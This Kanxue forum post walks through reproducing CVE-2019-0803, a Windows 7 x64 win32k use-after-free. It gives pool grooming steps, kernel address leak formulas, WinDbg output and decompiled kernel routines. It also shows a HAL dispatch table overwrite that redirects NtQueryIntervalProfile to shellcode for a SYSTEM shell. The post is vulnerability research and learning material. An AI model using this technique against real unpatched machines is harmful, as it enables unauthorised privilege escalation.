首页
论坛
专栏
课程

[原创]CVE-2019-0803复现调试笔记

2019-7-16 15:08 3804

[原创]CVE-2019-0803复现调试笔记

2019-7-16 15:08
3804

这个漏洞属于未正确处理GDI对象导致的UAF类型本地权限提升漏洞

复现环境

  1. Windows 7 sp1 64位操作系统
  2. 编译环境Visual Studio 2013

引用

360分析
看雪分析

Poc 分析

关于漏洞的成因,以上两篇引用文章对漏洞的成因已经介绍的很详细,这里不再赘述.本文主要分析漏洞复现的调试过程,和漏洞利用方式的讨论.
在poc中先创建大小为0x350的AcceleratorTable,计算公式为:

ACCEL WINAPI CreateAcceleratorTableW( _In_reads_(cAccel) LPACCEL paccel,_In_ int cAccel);
最终的大小等于(cAccel*6+0x32)&~f

然后又创建了0xcb0大小的AcceleratorTable,这么多个0x350之间的存在空隙,由于其他线程会创建对象占用池的原因,那些创建的小块一般不会大于0xcb0,所以会在多个0x350之间的存在空隙之间堆积,而之后创建的0xcb0大小的AcceleratorTable正好以0xcb00+0x350和方式占满整个一页也就是0x1000大小的空间,又因为0xcb0大小的块数量多余0x350的块,最后0xcb0下方方空余部分可以被同样0x350大小的bitmap和gdi对象占位即图中标识为free的块,占位后池排序方式如下图:
图
poc中出现了2种类型对象,一种是CreateAcceleratorTableW产生的user object对象,还有一种是通过CreateBitmap或GetCurrentObject产生的gdi对象.
在用户态只返回了产生对象的句柄,但是可以通过如下2中方式找到对象的内核泄露地址,
user object可以在user32.dll的导出函数gSharedInfo中找到泄露内核地址,具体计算公式为(SHAREDINFO->aheList+sizeOf(HANDLEENTRY)*(AcceleratorTabl句柄&0xffff))

typedef struct _SHAREDINFO {
    PSERVERINFO  psi;
    PHANDLEENTRY aheList;
    ULONG        HeEntrySize;
} SHAREDINFO, *PSHAREDINFO;
typedef struct _HANDLEENTRY {
    PVOID   phead;
    PVOID   pOwner;
    BYTE    bType;
    BYTE    bFlags;
    WORD    wUniq;
} HANDLEENTRY, *PHANDLEENTRY;

对于gdi对象可以在PEB结构体中的GdiSharedHandleTable中找到泄露内核地址,具体计算公式为(PEB->GdiSharedHandleTable+ sizeof(HANDLEENTRY) *(gdi对象句柄&0xffff)),下面我们来看调试验证过程.
笔者使用在exsi上用windbg和vs双虚拟机调试内核和用户态的2种方法,具体方法见我的另一篇文章.
对win32k的NtUserCreateAcceleratorTable和win32k!HMAllocObject下断点得到到创建的AcceleratorTable泄露内核地址为fffff900c2877630.

kd> bp win32k!NtUserCreateAcceleratorTable
kd> bp win32k!HMAllocObject "gu;"
kd> g
win32k!CreateAcceleratorTable+0x32:
fffff960`00140ed6 488bf8          mov     rdi,rax
//rax就是AcceleratorTable泄露内核地址
kd> !pool @rax
Pool page fffff900c2877630 region is Paged session pool
 fffff900c2877000 size:  350 previous size:    0  (Allocated)  Gla5
 fffff900c2877350 size:   50 previous size:  350  (Free)       ...Z
 fffff900c28773a0 size:   f0 previous size:   50  (Allocated)  Gla4
 fffff900c2877490 size:   f0 previous size:   f0  (Allocated)  Gla4
 fffff900c2877580 size:   a0 previous size:   f0  (Allocated)  Uscu Process: fffffa8004211060
*fffff900c2877620 size:  350 previous size:   a0  (Allocated) *Usac Process: fffffa80020cdb30
        Pooltag Usac : USERTAG_ACCEL, Binary : win32k!_CreateAcceleratorTable
 fffff900c2877970 size:  690 previous size:  350  (Free )  Geto

在用户态查看栈变量

0:000> dv /i /t /v
prv local  00000000`001377e0 struct HACCEL__ *[1000] hAccel1 = struct HACCEL__ *[1000]
prv local  00000000`00139740 struct HACCEL__ *[1000] hAccel2 = struct HACCEL__ *[1000]
0:000> dq 00000000`001377e0
00000000`001377e0  00000000`00ae0707 00000000`00a00763
00000000`001377f0  00000000`00230809 00000000`00080803
00000000`00137800  00000000`009500f1 00000000`002e06ff
00000000`00137810  00000000`0086079b 00000000`004f0735

在内核态验证这个AcceleratorTable泄露内核地址

kd> dq user32!gSharedInfo
00000000`76ed26e0  00000000`00630a70 00000000`004b0000
00000000`76ed26f0  00000000`00000018 00000000`00631e50
//计算公式为(SHAREDINFO->aheList+sizeOf(HANDLEENTRY)*(AcceleratorTabl句柄&0xffff))
kd> dq 00000000`004b0000+18h*0707
//第一行就是AcceleratorTabl句柄
00000000`004ba8a8  fffff900`c2877630 fffff900`c01dbce0
00000000`004ba8b8  00000000`00ae0008 fffff900`c35ee010
00000000`004ba8c8  fffff900`c01dbce0 00000000`00090008

接下来验证gdi对象hgdiObj=00000000`0F050D4E,内核地址为FFFFF900C3041CC0,在内核态验证

kd> !peb
PEB at 000007fffffdc000
... 
kd> dt nt!_peb -ny gdi  000007fffffdc000
   +0x0f8 GdiSharedHandleTable : 0x00000000`00640000 Void

//计算公式为(PEB->GdiSharedHandleTable+ sizeof(HANDLEENTRY) *(gdi对象句柄&0xffff))
kd> dq  0x00000000`00640000 +18h*0D4E 
//第一行就是gdi对象句柄
00000000`00653f50  fffff900`c3041cc0 41050f05`00000000
00000000`00653f60  00000000`00000000 fffff900`c1f60100
kd> !pool fffff900`c3041cc0
Pool page fffff900c3041cc0 region is Paged session pool
 fffff900c3041000 size:  cb0 previous size:    0  (Allocated)  Usac Process: fffffa80020cdb30
*fffff900c3041cb0 size:  350 previous size:  cb0  (Allocated) *Gla5
        Pooltag Gla5 : GDITAG_HMGR_LOOKASIDE_SURF_TYPE, Binary : win32k.sys

在ddclient进程退出后再次查看gdi对象的池分布情况

kd> !pool fffff900`c3041cc0
Pool page fffff900c3041cc0 region is Paged session pool
 fffff900c3041000 size:  cb0 previous size:    0  (Allocated)  Usac Process: fffffa80020cdb30
 //可以看到是释放状态
*fffff900c3041cb0 size:  350 previous size:  cb0  (Free)      *Gla5
        Pooltag Gla5 : GDITAG_HMGR_LOOKASIDE_SURF_TYPE, Binary : win32k.sys

之后poc中把后方存在大量0xcb0的AcceleratorTable和0x350的bitmap占满整个一页池布局中的bitmap清除,此时这个gdi对象必定在这些bitnap中一个位置,马上使用0x350的CreateAcceleratorTableW占位,再来看下池布局

kd> !pool FFFFF900c3041cc0
//此时已经被AcceleratorTable占位,导致uaf
Pool page fffff900c301ecc0 region is Paged session pool
 fffff900c3041000 size:  cb0 previous size:    0  (Allocated)  Usac Process: fffffa80020cdb30
*fffff900c3041cb0 size:  350 previous size:  cb0  (Allocated) *Usac Process: fffffa80020cdb30
        Pooltag Usac : USERTAG_ACCEL, Binary : win32k!_CreateAcceleratorTable

池风水情况如图:
图
poc使用SetDIBColorTable对这个uaf的gdi对象进行操作,实现了任意地址3字节的写,原poc采用了写入Window的cbWNDExtra字段操作的buff指针和方式替换systemtoken实现提权,笔者认为太麻烦,改为hookhal函数至shellcode方式实现提权,可以实现相同效果.下面分析uaf的利用过程.
SetDIBColorTable会调用ZwGdiDoPalette进入内核态调用NtGdiDoPalette

UINT __stdcall SetDIBColorTable(HDC hdc, UINT iStart, UINT cEntries, const RGBQUAD *prgbq)
{
  UINT result; // eax

  if ( cEntries )
    //调用内核态NtGdiDoPalette
    result = ZwGdiDoPalette(hdc, *(_QWORD *)&iStart, cEntries, prgbq, 5, 1);
  else
    result = 0;
  return result;
}

NtGdiDoPalette接着又调用了GreSetDIBColorTable

__int64 __fastcall NtGdiDoPalette(__int64 hdc, unsigned __int16 iStart, unsigned __int16 cEntries, RGBQUAD *prgbq, unsigned int value5, int value1)
{
  RGBQUAD *prgbqRef; // r12
  signed int Low_cEntries; // ebx
  unsigned int hr; // er14
  int flag; // er13
  void *buff; // rsi
  __int64 GreSetDIBColorTable_Offset; // rax
  unsigned __int64 prg_Low; // rax
  signed int hrtemp; // eax
  size_t v14; // r8
  __int64 hdcRef; // [rsp+70h] [rbp+8h]
  unsigned __int16 iStartRef; // [rsp+78h] [rbp+10h]

  iStartRef = iStart;
  hdcRef = hdc;
  prgbqRef = prgbq;
  LOWORD(Low_cEntries) = cEntries;
  hr = 0;
  flag = 1;
  buff = 0i64;
  GreSetDIBColorTable_Offset = value5;
  if ( value5 > 5 )
    return hr;
  // 如果传进来的不是1
  if ( !value1 )
  {
    if ( prgbq )
    {
      if ( cEntries )
      {
        if ( cEntries <= 0x9C4000ui64 )
        {
          // 分配buff
          buff = (void *)AllocFreeTmpBuffer(4 * (unsigned int)cEntries);
          iStart = iStartRef;
        }
        flag = buff != 0i64 ? 1 : 0;
        hdc = hdcRef;
        GreSetDIBColorTable_Offset = value5;
      }
      else
      {
        flag = 0;
      }
    }
    if ( flag )
    {
      Low_cEntries = (unsigned __int16)Low_cEntries;
      // 调用GreSetDIBColorTable
      hrtemp = ((__int64 (__fastcall *)(__int64, _QWORD, _QWORD, void *))*(&palfun + GreSetDIBColorTable_Offset))(
                 hdc,
                 iStart,
                 (unsigned __int16)Low_cEntries,
                 buff);
      hr = hrtemp;
      if ( (unsigned __int16)Low_cEntries < hrtemp )
        hrtemp = Low_cEntries;
      if ( hrtemp > 0 && prgbqRef )
      {
        v14 = hrtemp;
        if ( &prgbqRef[v14] > W32UserProbeAddress || &prgbqRef[v14] <= prgbqRef )
          *(_BYTE *)W32UserProbeAddress = 0;
        memmove(prgbqRef, buff, v14 * 4);
      }
    }
    goto LABEL_27;
  }
  if ( cEntries <= 0u )
  {
    // 实际上都是调用GreSetDIBColorTable_Offset
LABEL_11:
    hr = ((__int64 (__fastcall *)(__int64, _QWORD, _QWORD, void *))*(&palfun + GreSetDIBColorTable_Offset))(
           hdc,
           iStart,
           (unsigned __int16)Low_cEntries,
           buff);
LABEL_27:
    if ( buff )
      FreeTmpBuffer(buff);
    return hr;
  }
  if ( cEntries <= 0x9C4000ui64 )
    // 分配堆
    buff = (void *)AllocFreeTmpBuffer(4 * (unsigned int)cEntries);
  if ( !buff )
    return hr;
  prg_Low = (unsigned __int64)&prgbqRef[(unsigned __int16)Low_cEntries];
  if ( prg_Low > (unsigned __int64)W32UserProbeAddress || prg_Low <= (unsigned __int64)prgbqRef )
    *(_BYTE *)W32UserProbeAddress = 0;
  memmove(buff, prgbqRef, 4i64 * (unsigned __int16)Low_cEntries);
  iStart = iStartRef;
  hdc = hdcRef;
  // 这里又到了lable1执行GreSetDIBColorTable
  GreSetDIBColorTable_Offset = value5;
  goto LABEL_11;
}
__int64 __fastcall GreSetDIBColorTable(HDC hdc, unsigned int iStart, int Low_cEntries, tagRGBQUAD *prgbq)
{
  unsigned int v4; // esi
  tagRGBQUAD *v5; // rbp
  int v6; // er12
  unsigned int iret; // edi
  XEPALOBJ *v8; // rbx
  SURFACE *surf; // rdx
  __int64 xpLookup; // rax
  int iLast; // edi
  __int64 xp; // [rsp+20h] [rbp-68h]
  XEPALOBJ *xpobjFrom; // [rsp+28h] [rbp-60h]
  int v15; // [rsp+30h] [rbp-58h]
  int v16; // [rsp+34h] [rbp-54h]
  __int64 devLock; // [rsp+38h] [rbp-50h]
  __int64 v18; // [rsp+40h] [rbp-48h]
  __int64 v19; // [rsp+48h] [rbp-40h]
  int v20; // [rsp+50h] [rbp-38h]
  __int64 v21; // [rsp+58h] [rbp-30h]
  int v22; // [rsp+60h] [rbp-28h]
  int v23; // [rsp+64h] [rbp-24h]

  // poc中istart为0
  v4 = iStart;
  v5 = prgbq;
  v6 = Low_cEntries;
  iret = 0;
  xpobjFrom = 0i64;
  v15 = 0;
  v16 = 0;
  XDCOBJ::vLock((XEPALOBJ *)&xpobjFrom, hdc);
  v8 = xpobjFrom;
  if ( xpobjFrom )
  {
    v21 = 0i64;
    v22 = 0;
    v23 = 0;
    devLock = 0i64;
    v18 = 0i64;
    v19 = 0i64;
    v20 = 0;
    DEVLOCKOBJ::bPrepareTrgDco((DEVLOCKOBJ *)&devLock, 0i64);
    DEVLOCKOBJ::vLockNoDrawing((DEVLOCKOBJ *)&devLock, (struct XDCOBJ *)&xpobjFrom);
    surf = SURFACE::pdibDefault;
    if ( v8->field_1F8 )
      surf = (SURFACE *)v8->field_1F8;
    if ( surf->field_64 || !surf->field_B8 || (unsigned int)(surf->field_60 - 1) > 2 )
    {
      EngSetLastError(6);
    }
    else
    {
      *(_DWORD *)(v8->field_50 + 8) |= 0xFu;
      // 0x78偏移量,surf->xpobj实际上就是hdc内核对象xpobjFrom
      xpLookup = surf->xpobj;
      xp = xpLookup;
      // 0x1C是xp的索引
      if ( v4 < *(_DWORD *)(xpLookup + 0x1C) )
      {
        iLast = v4 + v6;
        // 如果要查找的entry索引大于xp的索引界限字段,last就赋值为xp的索引界限字段值
        if ( v4 + v6 > *(_DWORD *)(xpLookup + 0x1C) )
          iLast = *(_DWORD *)(xpLookup + 0x1C);
        iret = iLast - v4;
        XEPALOBJ::vCopy_rgbquad((XEPALOBJ *)&xp, v5, v4, iret);
      }
    }
    DEVLOCKOBJ::vDestructor((DEVLOCKOBJ *)&devLock);
  }
  else
  {
    EngSetLastError(6);
  }
  if ( !v8 )
    return iret;
  XDCOBJ::RestoreAttributes((XDCOBJ *)&xpobjFrom);
  _InterlockedAdd(&xpobjFrom->flag, 0xFFFFFFFF);
  return iret;
}

这里xp是一个PALETTE64结构正确逆向结果如下,vCopy_rgbquad函数向xp的+0x80+(4*iStartRef)处写入3个字节也就是PALETTEENTRY的rbg3种颜色,可以由用户控制,这里iStartRef是索引值为0

typedef struct PALETTEENTRY{
  _BYTE  peRed;
 _BYTE peGreen;
 _BYTE peBlue;
 _BYTE peFlags;
}
#pragma pack(push, 4)
typedef struct _PALETTE64
{
    _BYTE     BaseObject[24];    // 0x00
    ULONG           flPal;         // 0x18
    ULONG           cEntries;      // 0x1c
    ULONG          ulTime;        // 0x20
    ULONG64             hdcHead;       // 0x28
    ULONG64        hSelected;     // 0x30
    ULONG64           cRefhpal;      // 0x38
    ULONG          cRefRegular;   // 0x3c
    ULONG64      ptransFore;    // 0x40
    ULONG64      ptransCurrent; // 0x48
    ULONG64      ptransOld;     // 0x50
    ULONG64         unk_038;       // 0x58
    ULONG64         pfnGetNearest; // 0x60
    ULONG64   pfnGetMatch;   // 0x68
    ULONG64           ulRGBTime;     // 0x70
    ULONG64       pRGBXlate;     // 0x78
    PALETTEENTRY    *pFirstColor;  // 0x80
    struct _PALETTE *ppalThis;     // 0x88
    PALETTEENTRY    apalColors[3]; // 0x90
}PALETTE64 ;
#pragma pack(pop)


void __fastcall XEPALOBJ::vCopy_rgbquad(PALETTE64 *this, tagRGBQUAD *prgbq, unsigned int iStart, int iret)
{
  __int64 iStartRef; // rbx
  PALETTE64 *that; // r8
  BYTE *writeBuff; // r10
  BYTE blue; // al
  bool EndIret; // zf
  signed __int32 XlatePalUnique; // ecx
  __int64 xpRef; // rdx

  iStartRef = iStart;
  that = this;
  // StartRef和iret这里为0,就是pFirstColor
  writeBuff = (BYTE *)(*(_QWORD *)(*(_QWORD *)this->BaseObject + 0x80i64) + 4 * iStartRef);
  // 这里就是设置*(DWORD *)(XEPALOBJ + 0x1C) = 1的原因
  if ( (unsigned int)(iStartRef + iret) > *(_DWORD *)(*(_QWORD *)this->BaseObject + 0x1Ci64) )
    // 0x1C就是xp的索引
    iret = *(_DWORD *)(*(_QWORD *)this->BaseObject + 0x1Ci64) - iStartRef;
  if ( iret )
  {
    do
    {
      // 最后一个字节写入为0
      writeBuff[3] = 0;
      blue = prgbq->rgbBlue;
      ++prgbq;
      // 第三个字节写入
      writeBuff[2] = blue;
      // 写入第一个字节
      *writeBuff = prgbq[-1].rgbRed;
      writeBuff += 4;
      EndIret = iret-- == 1;
      // +4-3=1写入第二个字节
      *(writeBuff - 3) = prgbq[-1].rgbGreen;
    }
    while ( !EndIret );
  }
  XlatePalUnique = _InterlockedIncrement((volatile signed __int32 *)&ulXlatePalUnique);
  *(_DWORD *)(*(_QWORD *)that->BaseObject + 0x20i64) = XlatePalUnique;
  // 这里需要设置*(ULONGLONG **)(XEPALOBJ + 0x88) = &tmp;和xp+0x88相同的值
  xpRef = *(_QWORD *)(*(_QWORD *)that->BaseObject + 0x88i64);
  if ( xpRef != *(_QWORD *)that->BaseObject )
    *(_DWORD *)(xpRef + 0x20) = XlatePalUnique;
}

下面我们看调试来验证这个结果:
surf->xpobj就是uaf的gdi对象相对于AcceleratorTableW+0x78偏移量位置的对,也就是最终被任意位置写入内存的对象,
在内核态查看:

kd> dq FFFFF900c3041cc0+78h
//看到xp=00000000`020f0d50
fffff900`c3041d38  00000000`020f0d50 12344444`00081234
fffff900`c3041d48  00081234`44440008 44440008`12344444
fffff900`c3041d58  12344444`00081234 00081234`44440008
fffff900`c3041d68  44440008`12344444 12344444`00081234
kd> dq  00000000`020f0d50+80h
//这里指定的就是hal地址
00000000`020c0dd0  fffff800`03e43c68 00000000`001dbb18
00000000`020c0de0  00000000`00000000 00000000`fdfdfdfd
00000000`020c0df0  00000000`00000000 0c1d2361`21bb903c
00000000`020c0e00  00000000`020c0d20 00000000`00000000
kd> dq  fffff800`03e43c68 
//原值为fffff800`00000000
fffff800`03e43c68  fffff800`00000000 fffff800`03c43470
fffff800`03e43c78  fffff800`04041f20 00000000`00000000
fffff800`03e43c88  fffff800`03d1c2f0 fffff800`03ff4044
fffff800`03e43c98  fffff800`03ff4990 fffff800`041310d0
fffff800`03e43ca8  fffff800`03d00090 fffff800`03cc4510
fffff800`03e43cb8  fffff800`03cc4510 fffff800`03c41ca4
fffff800`03e43cc8  fffff800`03c42e88 fffff800`03c17534
fffff800`03e43cd8  fffff800`03c41c18 fffff800`04041f20

继续运行程序至以下代码,然后在用户态查看:

执行*(LONGLONG *)(XEPALOBJ + 0x80) = (LONGLONG)(hal + 8);
SetDIBColorTable(hdc, 0, 1, &prgbq)后
0:000> dv /i /t /v
//dal地址
prv local  00000000`001df9f8 unsigned int64 hal = 0xfffff800`03e43c60
//shellcode地址
prv local  00000000`001dfa00 unsigned int64 target = 0x00000001`3fe7123a

再回到内核态查看

kd> dq  00000000`020f0d50+80h
00000000`020c0dd0  fffff800`03e43c68 00000000`001dbb18
00000000`020c0de0  00000000`00000000 00000000`fdfdfdfd
00000000`020c0df0  00000000`00000000 0c1d2361`21bb903c
00000000`020c0e00  00000000`020c0d20 00000000`00000000
kd> dq fffff800`03e43c68
//新值已经被修改成target地址也就是shellcode地址
fffff800`03e43c68  00000001`3fe7123a fffff800`03c43470
fffff800`03e43c78  fffff800`04041f20 00000000`00000000
fffff800`03e43c88  fffff800`03d1c2f0 fffff800`03ff4044
fffff800`03e43c98  fffff800`03ff4990 fffff800`041310d0

此时可以看到hal地址+8位置的内存数据已经被修改成target地址也就是shellcode地址
接下去调用NtQueryIntervalProfile执行eshellcode,最后成功在win7x64机器上弹出system的cmd,经测试成功率在50%左右,如图:
图

引用

 

我的poc地址

 

作者来自ZheJiang Guoli Security Technology



[公告]安全服务和外包项目请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最后于 2019-8-9 09:01 被王cb编辑 ,原因:
最新回复 (7)
palkiver 2019-7-16 18:49
2
0
estblack 2019-7-19 16:18
3
0
与github上的代码一致。
王cb 5 2019-7-19 16:27
4
0
我的版本是采用覆盖hal方式利用
estblack 2019-7-19 16:55
5
0
@王cb 如果要支持其他系统修改那些地址。
王cb 5 2019-7-19 19:33
6
0
自己逆向结构和偏移量
snowdbg 6 2019-7-22 08:14
7
1
赞,自己动手调试,归纳,就是一个很好的学习过程。另外建议大家还是虚心学习,同样的代码自己调试研究一遍,分享下心得是很好的事情,还是尽量少一些,诸如这与哪一样,这不就是什么的感叹。
大帅锅 2 2019-7-22 10:52
8
0
snowdbg 赞,自己动手调试,归纳,就是一个很好的学习过程。另外建议大家还是虚心学习,同样的代码自己调试研究一遍,分享下心得是很好的事情,还是尽量少一些,诸如这与哪一样,这不就是什么的感叹。
赞!我也觉得,别人能分享出来就已经很不错了!
游客
登录 | 注册 方可回帖
返回